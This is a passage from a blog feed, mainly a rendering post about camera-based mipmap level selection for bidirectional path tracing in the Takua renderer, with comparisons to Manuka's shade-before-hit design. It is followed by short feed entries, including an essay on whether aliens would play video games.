Most modern path tracers use &lt;em&gt;shade-on-hit&lt;/em&gt;, which means pattern generation is lazily evaluated to produce bsdf parameters upon demand, such as when a ray hits a surface.
In a shade on hit architecture, pattern generation and path sampling are interleaved, since path sampling depends on the results of pattern generation.
Separating out geometry processing from path construction is fairly standard in most modern production path tracers, meaning subdivision/tessellation/displacement happens before any rays are traced, and displacement usually involves some amount of pattern generation.
However, no other production path tracer separates out &lt;em&gt;all&lt;/em&gt; of pattern generation from path sampling the way Manuka does.
At render startup, Manuka runs geometry processing, which dices all input geometry into micropolygon grids, and then runs pattern generation on all of the micropolygons.
The result of pattern generation is a set of bsdf parameters that are baked into the micropolygon vertices.
Manuka then builds a BVH and proceeds with normal path tracing, but at each path vertex, instead of having to evaluate shading graphs and do texture lookups to calculate bsdf parameters, the bsdf parameters are looked up directly from the pre-calculated cached values baked into the micropolygon vertices.
Put another way, Manuka is a path tracer with a REYES-style shader execution model &lt;a href="https://dl.acm.org/citation.cfm?id=37414"&gt;[Cook et al. 1987]&lt;/a&gt; instead of a PBRT-style shader execution model; Manuka preserves the grid-based shading coherence from REYES while also giving more flexibility to path sampling and light transport, which no longer have to worry about pattern generation making shading slow.&lt;/p&gt;

&lt;p&gt;So how does any of this relate to the bidirectional path tracing mip level selection problem?
The answer is: in a shade-before-hit architecture, by the time the renderer is tracing light paths, there is no need for mip level selection because &lt;em&gt;there are no texture lookups required anymore during path sampling&lt;/em&gt;.
During path sampling, Manuka evaluates bsdfs at each hit point using pre-shaded parameters that are bilinearly interpolated from the nearest micropolygon vertices; all of the texture lookups were already done in the pre-shade phase of the renderer!
In other words, at least in principle, a Manuka-style renderer can entirely sidestep the bidirectional path tracing mip level selection problem (although I don’t know if Manuka actually does this or not).
Also, in a shade-before-hit architecture, there are no concerns with biasing bidirectional path tracing from different camera/light path vertex connections seeing different mip levels.
Since all mip level selection and texture filtering decisions take place before path sampling, the view of the world presented to path sampling is always consistent.&lt;/p&gt;

&lt;p&gt;Takua is not a shade-before-hit renderer though, and for a variety of reasons, I don’t plan on making it one.
Shade-before-hit presents a number of tradeoffs which are worthwhile in Manuka’s case because of the problems and requirements the Manuka team aimed to solve and meet, but Takua is a hobby renderer aimed at something very different from Manuka.
The largest drawback of shade-before-hit is the startup time associated with having to pre-shade the entire scene; this startup time can be quite large, but in exchange, the total render time can be faster as path sampling becomes more efficient.
However, in a number of workflows, the time to a full render is not nearly as important as the time to a minimum sample count at which point an artistic decision can be made on a noisy image; beyond this point, full render time is less important as long as it is within a reasonable ballpark.
Takua currently has a fast startup time and reaches a first set of samples quickly, and I wanted to keep this behavior.
As a result, the question then became: in a shade-on-hit architecture, is there a way to emulate shade-before-hit’s consistent view of the world, where texture filtering decisions are separated from path sampling?&lt;/p&gt;

&lt;p&gt;The approach I arrived at is to drive mip level selection based on only a world-space distance-to-camera metric, with no dependency at all on the incoming ray at a given hit point.
This approach is… not even remotely novel; in a way, this approach is probably the most obvious solution of all, but it took me a long time and a circuitous path to arrive at for some reason.
Here’s the high-level overview of how I implemented a camera-based mip level selection technique:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;At render startup time, calculate a ray differential for each pixel in the camera’s image plane. The goal is to find the narrowest differential in each screen space dimension x and y. Store this piece of information for later.&lt;/li&gt;
  &lt;li&gt;At each ray-surface intersection point, calculate the differential surface.&lt;/li&gt;
  &lt;li&gt;Create a ‘fake’ ray going from the camera’s origin position to the current intersection point, with a ray differential equal to the minimum differential in each direction found in step 1.&lt;/li&gt;
  &lt;li&gt;Calculate dudx/dudy and dvdx/dvdy using the usual method presented above, but using the fake ray from step 3 instead of the actual ray.&lt;/li&gt;
  &lt;li&gt;Calculate the mip level as usual from dudx/dudy and dvdx/dvdy.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The rational for using the narrowest differentials in step 1 is to guarantee that texture frequency remains sub-pixel for the all pixels in screen space, even if that means that we might be sampling some pixels at a higher resolution mip level than whatever screen space pixel we’re accumulating radiance too.
In this case, being overly conservative with our mip level selection is preferable to visible texture blurring from picking a mip level that is too low resolution.&lt;/p&gt;

&lt;p&gt;Takua uses the above approach for all path types, including light paths in the various bidirectional integrators.
Since the mip level selection is based entirely on distance-to-camera, as far as the light transport integrators are concerned, their view of the world is entirely consistent.
As a result, Takua is able to sidestep the light path ray differential problem in much the same way that a shade-before-hit architecture is able to.
There are some particular implementation details that are slightly complicated by Takua having support for multiple uv sets per mesh, but I’ll write about multiple uv sets in a later post.
Also, there is one notable failure scenario, which I’ll discuss more in the results section.&lt;/p&gt;

&lt;div id="2018-10-25-results"&gt;&lt;/div&gt;
&lt;h2 id="results"&gt;Results&lt;/h2&gt;

&lt;p&gt;So how well does camera-based mipmap level selection work compared to a more standard approach based on path differentials or ray widths from the incident ray?
Typically in a production renderer, mipmaps work in conjunction with tiled textures, where tiles are a fixed size (unless a tile is in a mipmap level with a total resolution smaller than the tile resolution).
Therefore, the useful metric to compare is how many texture tiles each approach access throughout the course of a render; the more an approach accesses higher mipmap levels (meaning lower resolution mipmap levels), the fewer tiles in total should be accessed since lower resolution mipmap levels have fewer tiles.&lt;/p&gt;

&lt;p&gt;For unidirectional path tracing from the camera, we can reasonably expect the camera-based approach to perform less well than a path differential or ray width technique (which I’ll call simply ‘ray-based’).
In the camera-based approach, every texture lookup has to use a footprint corresponding to approximately a single screen space pixel footprint, whereas in a more standard ray-based approach, footprints get wider with each successive bounce, leading to access to higher mipmap levels.
Depending on how aggressively ray widths are widened at diffuse and glossy events, ray-based approaches can quickly reach the highest mipmap levels and essentially spend the majority of the render only accessing high mipmap levels.&lt;/p&gt;

&lt;p&gt;For bidirectional integrators though, the camera-based techinque has the major advantage of being able to provide reasonable mipmap levels for both camera and light paths, whereas the more standard ray-based approaches have to fall back to point sampling the lowest mipmap level for light paths.
As a result, for bidirectional paths we can expect that a ray-based approach should perform somewhere in between how a ray-based approach performs in the unidirectional case and how point sampling only the lowest mipmap level performs in the unidirectional case.&lt;/p&gt;

&lt;p&gt;As a baseline, I also implemented a ray-based approach with a relatively aggressive widening heuristic for glossy and diffuse events.
For the forest scene from Figure 1, I got the following results at 1920x1080 resolution with 16 samples per pixel.
I compared unidirectional path tracing from the camera and standard bidirectional path tracing; statistics are presented as total number of texture tiles accessed divided by total number of texture tiles across all mipmap levels.
The lower the percentage, the better:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;16 SPP 1920x1080 Unidirectional (PT)
    No mipmapping:                       314439/745394 tiles (42.18%)
    Ray-based level selection:           103206/745394 tiles (13.84%)
    Camera-based level selection:        104764/745394 tiles (14.05%)

16 SPP 1920x1080 Bidirectional (BDPT)
    No mipmapping:                       315452/745394 tiles (42.32%)
    Ray-based level selection:           203491/745394 tiles (27.30%)
    Camera-based level selection:        104858/745394 tiles (14.07%)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As expected, in the unidirectional case, the camera-based approach accesses slightly more tiles than the ray-based approach, and both approaches significantly outperform point sampling the lowest mipmap level.
In the bidirectional case, the camera-based approach accesses slightly more tiles than in the unidirectional case, while the ray-based approach performs somewhere between the ray-based approach in unidirectional and point sampling the lowest mipmap level in unidirectional.
What surprised me is how close the camera-based approach performed compared to the ray-based approach in the unidirectional case, especially since I chose a fairly aggresive widening heuristic (essentially a more aggressive version of the same heuristic that Matt Pharr uses in the texture cached branch of PBRTv3).&lt;/p&gt;

&lt;p&gt;To help with visualizing what mipmap levels are being accessed, I implemented a new AOV in Takua that assigns colors to surfaces based on what mipmap level is accessed.
With camera-based mipmap level selection, this AOV shows simply what mipmap level is accessed by all rays that hit a given point on a surface.
Each mipmap level is represented by a different color, with support up to 12 mipmap levels.
The following two images show accessed mipmap level at 1080p and 2160p (4K); note how the 2160p render accesses more lower mipmap levels than the 1080p render.
The pixel footprints in the higher resolution render are smaller when projected into world space since more pixels have to pack into the same field of view.
The key below each image shows what mipmap level each color corresponds to:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/forest_texcache.1080.png"&gt;&lt;img alt="Figure 3: Mipmap levels accessed for the forest scene from Figure 1, rendered at 1920x1080 resolution." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/forest_texcache.1080.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/forest_texcache.4k.png"&gt;&lt;img alt="Figure 4: Mipmap levels accessed for the forest scene from Figure 2, rendered at 3840x2160 resolution. Note how since the render is higher resolution and therefore pixel footprints are smaller for the same field of view, lower mipmap levels are accessed more frequently compared to Figure 3." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/forest_texcache.4k.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In general, everything looks as we would expect it to look in a working mipmapping system!
Surface points farther away from the camera are generally accessing higher mipmap levels, and surface points closer to the camera are generally accessing lower mipmap levels.
The ferns in the front of the frame near the camera access higher mipmap levels than the big fallen log in the center of the frame even though the ferns are closer to the camera because the textures for each leaf are extremely high resolution and the fern leaves are very small in screen-space.
Surfaces that are viewed at highly glancing angles from the camera tend to access higher mipmap levels than surfaces that are camera-facing; this effect is easiest to see on the rocks in bottom front of the frame.
The interesting sudden shift in mipmap level on some of the tree trunks comes from the tree trunks using two diffrent uv sets; the lower part of each tree trunk uses a different texture than the upper part, and the main textures are blended using a blending mask in a different uv space from the main textures; since the differential surface depends in part on the uv parameterization, different uv sets can result in different mipmap level selection behavior.&lt;/p&gt;

&lt;p&gt;I also added a debug mode to Takua that tracks mipmap level access per texture sample.
In this mode, for a given texture, the renderer splats into an image the lowest acceessed mipmap level for each texture sample.
The result is sort of a heatmap that can be overlaid on the original texture’s lowest mipmap level to see what parts of texture are sampled at what resolution.
Figure 5 shows one of these heatmaps for the texture on the fallen log in the center of the frame:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/texture_rawaccess.png"&gt;&lt;img alt="Figure 5: Mipmap level access patterns for the texture in Figure 2. Colors correspond to mipmap levels using the same key as in Figures 3 and 4. Dark grey indicates areas of the texture that were not sampled at all." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/texture_rawaccess.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Just like in Figures 3 and 4, we can see that renders at higher resolutions will tend to access lower mipmap levels more frequently.
Also, we can see that the vast majority of the texture is never sampled at all; with a tiled texture caching system where tiles are loaded on demand, this means there are a large number of texture tiles that we never bother to load at all.
In cases like Figure 5, not loading unused tiles provides enormous memory savings compared to if we just loaded an entire non-mipmapped texture.&lt;/p&gt;

&lt;p&gt;So far using a camera-based approach to mipmap level selection combined with just point sampling at each texture sample has held up very well in Takua!
In fact, the &lt;a href="https://blog.yiningkarlli.com/2018/02/scandinavian-room-scene.html"&gt;Scandinavian Room&lt;/a&gt; scene from earlier this year was rendered using the mipmap approach described in this post as well.
There is, however, a relatively simple type of scene that Takua’s camera-based approach fails badly at handling: refraction near the camera.
If a lens is placed directly in front of the camera that significantly magnifies part of the scene, a purely world-space metric for filter footprints can result in choosing mipmap levels that are too high, which translates to visible texture blurring or pixelation.
I don’t have anything implemented to handle this failure case right now.
One possible solution I’ve thought about is to initially trace a set of rays from the camera using traditional ray differential propogation for specular objects, and cache the resultant mipmap levels in the scene.
Then, during the actual renders, the renderer could compare the camera-based metric from the nearest N cached metrics to infer if a lower mipmap level is needed than what the camera-based metric produces.
However, such a system would add significant cost to the mipmap level selection logic, and there are a number of implementation complications to consider.
I do wonder how Manuka handles the “lens in front of a camera” case as well, since the shade-before-hit paradigm also fails on this scenario for the same reasons.&lt;/p&gt;

&lt;p&gt;Long term, I would like to spend more time looking in to (and perhaps implementing) a covariance tracing based approach.
While Takua currently gets by with just point sampling, filtering becomes much more important for other effects, such as glinty microfacet materials, and covariance tracing based filtering seems to be the best currently known solution for these cases.&lt;/p&gt;

&lt;p&gt;In an upcoming post, I’m aiming to write about how Takua’s texture caching system works in conjunction with the mipmapping system described in this post.
As mentioned earlier, I’m also planning a (hopefully) short-ish post about supporting multiple uv sets, and how that impacts a mipmapping and texture caching system.&lt;/p&gt;

&lt;div id="2018-10-25-additional-renders"&gt;&lt;/div&gt;
&lt;h2 id="additional-renders"&gt;Additional Renders&lt;/h2&gt;

&lt;p&gt;Finally, since this has been a very text-heavy post, here are some bonus renders of the same forest scene under different lighting conditions.
When I was setting up this scene for Takua, I tried a number of different lighting conditions and settled on the one in Figure 1 for the main render, but some of the alternatives were interesting too.
In a future post, I’ll show a bunch of interesting renders of this scene from different camera angles, but for now, here is the forest at different times of day:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/forest_overcast.0.jpg"&gt;&lt;img alt="Figure 6: The forest early on an overcast morning." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/forest_overcast.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/forest_morning.0.jpg"&gt;&lt;img alt="Figure 7: The forest later on a sunnier morning." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/forest_morning.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/forest_noon.0.jpg"&gt;&lt;img alt="Figure 8: The forest at noon on a sunny blue sky day." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/forest_noon.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Oct/forest_sunset.0.jpg"&gt;&lt;img alt="Figure 9: The forest at sunset." src="https://blog.yiningkarlli.com/content/images/2018/Oct/preview/forest_sunset.0.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div id="2018-10-25-references"&gt;&lt;/div&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;

&lt;p&gt;John Amanatides. 1984. &lt;a href="https://dl.acm.org/citation.cfm?id=808589"&gt;Ray Tracing with Cones&lt;/a&gt;. &lt;em&gt;ACM SIGGRAPH Computer Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 18, 3 (Jul. 1984), 129-135.&lt;/p&gt;

&lt;p&gt;Laurent Belcour, Cyril Soler, Kartic Subr, Nicolas Holzschuch, and Frédo Durand. 2013. &lt;a href="https://dl.acm.org/citation.cfm?id=2487239"&gt;5D Covariance Tracing for Efficient Defocus and Motion Blur&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 32, 3 (Jun. 2013), Article 31.&lt;/p&gt;

&lt;p&gt;Laurent Belcour, Ling-Qi Yan, Ravi Ramamoorthi, and Derek Nowrouzezahrai. 2017. &lt;a href="https://dl.acm.org/citation.cfm?id=2990495"&gt;Antialiasing Complex Global Illumination Effects in Path-Space&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 36, 1 (Jan. 2017), Article 9.&lt;/p&gt;

&lt;p&gt;Brent Burley, David Adler, Matt Jen-Yuan Chiang, Hank Driskill, Ralf Habel, Patrick Kelly, Peter Kutz, Yining Karl Li, and Daniel Teece. 2018. &lt;a href="https://dl.acm.org/citation.cfm?id=3182159"&gt;The Design and Evolution of Disney’s Hyperion Renderer&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 37, 3 (Jul. 2018), Article 33.&lt;/p&gt;

&lt;p&gt;Per Christensen, Julian Fong, Jonathan Shade, Wayne Wooten, Brenden Schubert, Andrew Kensler, Stephen Friedman, Charlie Kilpatrick, Cliff Ramshaw, Marc Bannister, Brenton Rayner, Jonathan Brouillat, and Max Liani. 2018. &lt;a href="https://dl.acm.org/citation.cfm?id=3182162"&gt;RenderMan: An Advanced Path-Tracing Architeture for Movie Rendering&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 37, 3 (Jul. 2018), Article 30.&lt;/p&gt;

&lt;p&gt;Per Christensen, David M. Laur, Julian Fong, Wayne Wooten, and Dana Batali. 2003. &lt;a href="https://diglib.eg.org/handle/10.2312/8776"&gt;Ray Differentials and Multiresolution Geometry Caching for Distribution Ray Tracing in Complex Scenes&lt;/a&gt;. &lt;em&gt;Computer Graphics Forum (Proc. of Eurographics)&lt;/em&gt; 22, 3 (Sep. 2003), 543-552.&lt;/p&gt;

&lt;p&gt;Robert L. Cook, Loren Carpenter, and Edwin Catmull. 1987. &lt;a href="https://dl.acm.org/doi/10.1145/37402.37414"&gt;The Reyes Image Rendering Architecture&lt;/a&gt;. &lt;em&gt;ACM SIGGRAPH Computer Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 21, 4 (Jul. 1987), 95-102.&lt;/p&gt;

&lt;p&gt;Frédo Durand, Nicolas Holzchuch, Cyril Soler, Eric Chan, and François X Sillion. 2005. &lt;a href="https://dl.acm.org/citation.cfm?id=1073320"&gt;A Frequency Analysis of Light Transport&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 24, 3 (Aug. 2005), 1115-1126.&lt;/p&gt;

&lt;p&gt;Luca Fascione, Johannes Hanika, Mark Leone, Marc Droske, Jorge Schwarzhaupt, Tomáš Davidovič, Andrea Weidlich and Johannes Meng. 2018. &lt;a href="https://dl.acm.org/citation.cfm?id=3182161"&gt;Manuka: A Batch-Shading Architecture for Spectral Path Tracing in Movie Production&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 37, 3 (Jul. 2018), Article 31.&lt;/p&gt;

&lt;p&gt;Iliyan Georgiev, Thiago Ize, Mike Farnsworth, Ramón Montoya-Vozmediano, Alan King, Brecht van Lommel, Angel Jimenez, Oscar Anson, Shinji Ogaki, Eric Johnston, Adrien Herubel, Declan Russell, Frédéric Servant, and Marcos Fajardo. 2018. &lt;a href="https://dl.acm.org/citation.cfm?id=3182160"&gt;Arnold: A Brute-Force Production Path Tracer&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 37, 3 (Jul. 2018), Article 32.&lt;/p&gt;

&lt;p&gt;Larry Gritz and James K. Hahn. 1996. &lt;a href="https://doi.org/10.1080/10867651.1996.10487462"&gt;BMRT: A Global Illumination Implementation of the RenderMan Standard&lt;/a&gt;. &lt;em&gt;Journal of Graphics Tools&lt;/em&gt; 1, 3 (Jul. 1996), 29-47.&lt;/p&gt;

&lt;p&gt;Paul S. Heckbert and Pat Hanrahan. 1984. &lt;a href="https://dl.acm.org/citation.cfm?id=808588"&gt;Beam Tracing Polygonal Objects&lt;/a&gt;. &lt;em&gt;ACM SIGGRAPH Computer Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 18, 3 (Jul. 1984), 119-127.&lt;/p&gt;

&lt;p&gt;Homan Igehy. 1999. &lt;a href="https://graphics.stanford.edu/papers/trd/"&gt;Tracing Ray Differentials&lt;/a&gt;. In &lt;em&gt;Proc. of SIGGRAPH (SIGGRAPH 1999)&lt;/em&gt;. 179–186.&lt;/p&gt;

&lt;p&gt;Wenzel Jakob. 2010. &lt;a href="http://www.mitsuba-renderer.org/"&gt;&lt;em&gt;Mitsuba Renderer&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Christopher Kulla, Alejandro Conty, Clifford Stein, and Larry Gritz. 2018. &lt;a href="https://dl.acm.org/citation.cfm?id=3180495"&gt;Sony Pictures Imageworks Arnold&lt;/a&gt;. &lt;em&gt;ACM Transactions on Graphics&lt;/em&gt; 37, 3 (Jul. 2018), Article 29.&lt;/p&gt;

&lt;p&gt;Mark Lee, Brian Green, Feng Xie, and Eric Tabellion. 2017. &lt;a href="https://dl.acm.org/citation.cfm?doid=3105762.3105768"&gt;Vectorized Production Path Tracing&lt;/a&gt;. In &lt;em&gt;Proc. of High Performance Graphics (HPG 2017)&lt;/em&gt;. Article 10.&lt;/p&gt;

&lt;p&gt;Darwyn Peachey. 1990. &lt;a href="https://graphics.pixar.com/library/TOD/"&gt;&lt;em&gt;Texture on Demand&lt;/em&gt;&lt;/a&gt;. &lt;em&gt;Pixar Technical Report 217&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Matt Pharr, Wenzel Jakob, and Greg Humphreys. 2016. &lt;a href="http://www.pbr-book.org"&gt;&lt;em&gt;Physically Based Rendering:
From Theory to Implementation&lt;/em&gt;&lt;/a&gt;, 3rd ed. Morgan Kaufmann.&lt;/p&gt;

&lt;p&gt;Matt Pharr. 2017. &lt;a href="https://www.pbrt.org/texcache.pdf"&gt;&lt;em&gt;The Implementation of a Scalable Texture Cache&lt;/em&gt;&lt;/a&gt;. Physically Based Rendering Supplemental Material.&lt;/p&gt;

&lt;p&gt;Dan Piponi. 2004. &lt;a href="https://www.tandfonline.com/doi/abs/10.1080/10867651.2004.10504901"&gt;Automatic Differentiation, C++ Templates and Photogrammetry&lt;/a&gt;. &lt;em&gt;Journal of Graphics Tools&lt;/em&gt; 9, 4 (Sep. 2004), 41-55.&lt;/p&gt;

&lt;p&gt;Mikio Shinya, Tokiichiro Takahashi, and Seiichiro Naito. 1987. &lt;a href="https://dl.acm.org/citation.cfm?id=37408"&gt;Principles and Applications of Pencil Tracing&lt;/a&gt;. &lt;em&gt;ACM SIGGRAPH Computer Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 21, 4 (Jul. 1987), 45-54.&lt;/p&gt;

&lt;p&gt;Frank Suykens and Yves. D. Willems. 2001. &lt;a href="http://graphics.cs.kuleuven.be/publications/PATHDIFF/"&gt;Path Differentials and Applications&lt;/a&gt;. In &lt;em&gt;Proc. of Eurographics Workshop on Rendering (Rendering Techniques 2001)&lt;/em&gt;. 257–268.&lt;/p&gt;

&lt;p&gt;Lance Williams. 1983. &lt;a href="https://dl.acm.org/citation.cfm?id=801126"&gt;Pyramidal Parametrics&lt;/a&gt;. &lt;em&gt;ACM SIGGRAPH Computer Graphics (Proc. of SIGGRAPH)&lt;/em&gt; 12, 3 (Jul. 1983), 1-11.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Thu, 25 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2018/10/bidirectional-mipmap.html</guid></item><item><title>Develop your snaps faster</title><link>https://kyrofa.com/posts/develop-your-snaps-faster/</link><description>Snaps bundle their dependencies, which take time to fetch and unpack, and they&amp;rsquo;re typically made up of multiple parts, each of which need to be built and installed into the snap. Once you finish this process, you need to install the snap and test it out. Once you notice that your code is terrible and doesn&amp;rsquo;t work the way you thought, you have to make a change and go back through that process again.</description><author>kyrofa's blog</author><pubDate>Thu, 25 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/develop-your-snaps-faster/</guid></item><item><title>Do aliens play video games</title><link>http://dimitarsimeonov.com/2018/10/24/do-aliens-play-video-games</link><description>&lt;h2 id="do-aliens-play-video-games"&gt;Do aliens play video games?&lt;/h2&gt;

&lt;p&gt;If we meet an alien, from a different planet, and are able to talk
with them, how relate-able would they be?&lt;/p&gt;

&lt;p&gt;Would they feel pride for their nation, town or sports team?&lt;/p&gt;

&lt;p&gt;Would they feel ambition, after being rewarded for achievements?&lt;/p&gt;

&lt;p&gt;Would they keep playing video games once they start it, or binge-watch
TV shows?&lt;/p&gt;

&lt;p&gt;Would they be content to sit down and do nothing?&lt;/p&gt;

&lt;p&gt;We might imagine them similar to us in many ways, being driven by the
same incentives to live well. An alien, transported to earth and given
a human skin could try to blend in. They would likely want to maximize
their own prosperity by earning more money and resources, getting in a
safe position for themselves and their close ones, and affecting the
community wellbeing. Those are all common sense incentives, and in
these regards, an alien would blend in.&lt;/p&gt;

&lt;p&gt;But I bet, most likely, no alien would ever like to play video
games. It’s because video games reflect not a common sense incentive,
but a very human one.&lt;/p&gt;

&lt;p&gt;Games are designed to be addictive… for us. We have chemical systems
in our brains and body -
&lt;a href="https://youtu.be/ReRcHdeUG9Y"&gt;endorphins, dopamine, serotonin, oxytocin, cortisol&lt;/a&gt;. When
we play a video game we get rewarded with dopamine, which makes us
feel good, but is also highly addictive. And we keep on playing, not
because it is good for us in some abstract sense, but because it gives
us pleasurable chemicals in our brain.&lt;/p&gt;

&lt;p&gt;Our reward circuits have been hijacked by the video game. The game is
optimized for stimulating our chemical circuits. And so are optimized
the binge watchable TV series. And so is optimized social media. And
so is optimized our To-Do list. All of these act similar to drugs, in
that they rely on the quirks of our chemical systems in order to get a
hold of our habits.&lt;/p&gt;

&lt;p&gt;Drugs and alcohol deserve a special mention though, as they even go
and mess up with our chemistry directly, instead of merely adapting to
it. And our chemistry matters a lot. It determines our actions far
more than any rational arguments. I experienced this firsthand when I
&lt;a href="http://dimitarsimeonov.com/2016/05/17/how-i-became-a-compulsive-math-problem-solver"&gt;became a compulsive problem-solver&lt;/a&gt;. I
also experienced it when
&lt;a href="http://dimitarsimeonov.com/top/2013/11/09/overthrowing-alcohol"&gt;dealing with alcohol&lt;/a&gt;&lt;/p&gt;

&lt;h2 id="what-is-rationality"&gt;What is rationality? &lt;/h2&gt;

&lt;p&gt;I’d like to compare chemical decision making with “rational” decision
making to drive the point further.  There are at least two different
definitions of rationality. Both definitions are compelling, and
neither one takes into account our chemical undercurrents.&lt;/p&gt;

&lt;p&gt;One of the most commonly used definitions of rationality, is the
&lt;a href="https://en.wikipedia.org/wiki/Von_Neumann%E2%80%93Morgenstern_utility_theorem"&gt;Von Neumann &amp;amp; Morgenstern&lt;/a&gt;
utility maximization, which I would refer to as “classical”
rationality. According to it, we assign a utility function to outcomes
and assume the superposition of outcomes has a weighted average of the
utilities, then we come up with some predictions that we can
empirically test. Classical rationality a really neat theory. Just
four common sense axioms and ta-da! From these four axioms we can
derive how people should behave in any situation.&lt;/p&gt;

&lt;p&gt;Just like with classical mechanics, classically rationality is a good
approximation to behavior. When economists talk about rational actors,
that’s exactly what they mean by “rational,” and they often tie it to
maximizing money.  For example, we would look for discounts or buy the
same item from a cheaper place because we want to maximize the utility
of money. In some situations, we will choose the more expensive, more
convenient option because we also value our time. If we assign a price
for the value our time, we can derive that price based on the
tradeoffs we make.   Some economists point to those cases, and claim
“see, humans can be rational”. Yet others, such as Dan Ariely in
&lt;a href="https://amzn.to/2yz8lTt"&gt;Predictably Irrational&lt;/a&gt; point at examples
and studies which show that people are indeed not rational. And he’s
not the only one finding holes in classical rationality. Nassim Taleb
in &lt;a href="https://amzn.to/2CGgGYz"&gt;Skin in the game&lt;/a&gt; defines as rational the
actions which maximize long term survival. He then goes and spends
time, showing examples of people and institutions which, in the
absence of any threat, start acting in corrupt and selfish way. Skin
in the game rationality can be useful when analyzing the incentives of
public figures to serve the common good.&lt;/p&gt;

&lt;p&gt;Skin in the game rationality is a novel concept but nonetheless
effective in some situations that classical rationality fails to
explain behavior, especially in building systems of actors with
diverging interests. When a system doesn’t involve skin in the game,
it can promote people who can talk a lot but not get stuff done. When
a system involves skin in the game, it promotes people who realize
that in order for them to remain at a position of authority, they need
to deliver results. When they don’t deliver, they lose their skin.&lt;/p&gt;

&lt;h2 id="chemical-rationality-is-who-we-are"&gt;Chemical rationality is who we are&lt;/h2&gt;

&lt;p&gt;Would these two definitions of rationality apply to aliens? My opinion
is emphatic yes! Both the classical, and the skin in the game
rationality are math, and math transcends not only solar systems and
galaxies, but also multiverses and living-inside-a-simulation. In the
beginning there was math. Math is abstract, and not rooted in reality,
and thus universal.&lt;/p&gt;

&lt;p&gt;Aliens would be willing to both maximize profit according to classical
rationality, and also survival according to skin-in-the-game
rationality. Yet, these rationalities might apply to a different
degree. Classical rationality is motivated by the emotion of greed,
and skin in the game rationality is motivated by the emotion
fear. Depending on how much greed and fear aliens have, their actions
would be more or less classically rational, or skin in the game
rational.  We can not expect their society or lack thereof to resemble
ours in any way. Hell no. Aliens would have different inclinations for
social bonding, for addictive behavior, for pride in achievement, for
pain tolerance.&lt;/p&gt;

&lt;p&gt;And for video games. What defines us as humans are our erratic habits
and tendencies. Hormones and chemicals are what provides the rewards
for our actions, and these rewards are a basis for our rationality.&lt;/p&gt;

&lt;p&gt;Our proclivities are our signature as a species.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 25 Oct 2018 00:52:22 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/10/24/do-aliens-play-video-games</guid></item><item><link>https://kajic.com/post/179375240840</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/0bb83dcfce381f85c9d0fb059bfd19d5/tumblr_ph3b93jq8j1qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Wed, 24 Oct 2018 09:27:04 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/179375240840</guid></item><item><link>https://kajic.com/post/179375211855</link><description>&lt;figure class="tmblr-full"&gt;&lt;img src="https://64.media.tumblr.com/ac50baf9fcae2bc002cdf3b5918da7fa/tumblr_ph3b6js5x11qiv660_540.jpg" /&gt;&lt;/figure&gt;</description><author>ka-yich</author><pubDate>Wed, 24 Oct 2018 09:25:31 GMT</pubDate><guid isPermaLink="true">https://kajic.com/post/179375211855</guid></item><item><title>Classes? Where we’re going, we don’t need classes — React 16.6</title><link>https://blog.usejournal.com/classes-where-were-going-we-don-t-need-classes-react-16-6-e643ffc8c38d</link><author>Rodrigo Pombo</author><pubDate>Wed, 24 Oct 2018 03:00:00 GMT</pubDate><guid 